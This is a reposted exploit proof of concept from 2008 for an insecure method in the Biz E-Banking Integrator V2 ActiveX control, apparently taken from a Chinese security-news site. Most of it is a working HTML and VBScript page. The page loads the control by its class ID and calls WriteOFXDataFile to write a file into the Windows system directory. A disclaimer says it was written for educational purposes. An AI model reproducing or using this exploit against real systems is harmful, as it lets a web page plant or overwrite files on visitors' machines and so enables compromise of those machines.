|
Biz E-Banking Integrator V2 ActiveX Edition Insecure Method Exploit
|
|
来源：http://shinnai.altervista.org 作者：shinnai 发布时间：2008-04-10
|
|
--------------------------------------------------------------------
IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
More info at http://shinnai.altervista.org
--------------------------------------------------------------------
<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe()
On Error Resume Next
test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
If Err.Number <> 0 Then
MsgBox "Something went wrong!"
Else
MsgBox "Exploit Completed!"
End If
End Sub
</script>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
